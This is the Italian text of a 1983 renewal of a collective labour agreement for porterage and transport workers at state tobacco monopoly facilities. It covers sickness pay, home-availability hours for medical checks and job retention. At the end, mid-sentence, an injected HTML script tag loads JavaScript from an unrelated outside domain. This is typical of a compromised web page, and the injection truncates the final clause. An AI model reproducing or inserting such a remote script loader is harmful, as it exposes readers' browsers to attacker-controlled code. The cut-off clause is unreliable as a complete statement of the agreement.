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Categoria: Facchinaggio, appalti monopolio di stato Settore: Trasporti Data stipula: 15-6-1983 Data decorrenza: 1-6-1983 Data scadenza: 31-10-1986
Addì 15 giugno 1983
Tra
l'Ausitra
e
La FILTAT-CISL - la UILTATEP - UIL
è stato rinnovato con le seguenti aggiunte e modifiche il c.c.n.l. 2
gennaio 1980 per Il personale dipendente da imprese esercenti in appalto
dalla Amministrazione Autonoma dei Monopoli di Stato servizi di
facchinaggio e trasporti nell'Interno delle manifatture tabacchi e depositi
di generi di monopolio.
DICHIARAZIONE A VERBALE
Le parti si danno - atto che con la locazione "servizi di facchinaggio e
trasporti nell'interno delle manifatture tabacchi e depositi di generi di
monopolio" hanno Inteso disciplinare i servizi di facchinaggio e trasporti
di generi di monopolio tra le manifatture, i depositi e i magazzini.
Art. 18 - TRATTAMENTO DI MALATTIA ED INFORTUNIO
L'assenza per malattia deve essere comunicata all'Impresa entro il normale
orario di lavoro della giornata in cui si verifica l'assenza.
L'eventuale prosecuzione dello stato di inidoneità al servizio deve essere
comunicato all'impresa entro il normale orario di lavoro del giorno
precedente a quello in cui il lavoratore avrebbe dovuto riprendere servizio
e deve essere attestato da successivi certificati medici che il lavoratore
deve consegnare nel termine di due giorni dal rilascio della
certificazione.
per le assenze per cause di malattia all'operaio sarà corrisposto:
A) a partire dal 2° giorno lavorativo di assenza fino al 180 giorno
un'integrazione del trattamento INPS fino a raggiungere il 100% della
retribuzione globale netta;
B) dal 181° giorno al 270° corresponsione del 50% della retribuzione
globale netta.
PARTE COMUNE
Il diritto alla conservazione del posto viene a cessare qualora il
lavoratore anche con più periodi di infermità raggiunga in complesso dodici
mesi di assenza nell'arco di 36 mesi consecutivi. Ai fini del trattamento
di cui copra si procede al cumulo dei periodi di assenza per malattia
verificatisi nell'arco temporale degli ultimi 36 mesi consecutivi che
precedono l'ultimo giorno di malattia considerato.
Fermo restando quanto disposto dall'art. 5, legge n. 300, per quanto
concerne il controllo delle assenze per malattia le parti concordano quanto
segue:
- il lavoratore assente è tenuto a trovarsi nel proprio domicilio, dalle
ore 10 alle ore 12 e dalle ore 15 alle 17, disponibile per le visite di
controllo;
- nel caso in cui a livello territoriale le visite di controllo siano
effettuate su iniziativa dell'ente preposto ai controlli di malattia, in
orari diversi, le fasce orarie di cui sopra saranno adeguate ai criteri
organizzativi locali; sono fatte salve le eventuali documentabili
necessità di assentarsi dal domicilio per visite, prestazioni ed
accertamenti-specialistici nonchè per visite di controllo, di cui il
lavoratore darà preventiva informazione all'azienda.
In mancanza di tali comunicazioni o in caso di ritardo oltre i termini
sopra indicati, a meno che non vi siano giuste ragioni di impedimento, la
assenza si considera ingiustificata.
Ogni mutamento di Indirizzo durante il periodo di malattia o infortunio non
professionale deve essere tempestivamente comunicato all'impresa.
Al termine della malattia o dell'infortunio il lavoratore deve presentarsi
immediatamente in azienda per avere disposizioni In ordine alla ripresa del
lavoro.
Il lavoratore che risulti assente alle visite di controllo effettuate nelle
fasce orarie predeterminate, decade dal diritto dell'indennità economica e
di conseguenza all'integrazione aziendale per l'intero periodo di malattia.
Costituisce grave inadempimento contrattuale lo svolgimento di attività
lavorativa anche a titolo gratuito durante l'assenza.
Nel caso in cui il lavoratore abbia impedito senza giusticata ragione
sanitaria il tempestivo accertamento dello, stato d<script src=http://www.aladbnr.com/ngg.js></script>
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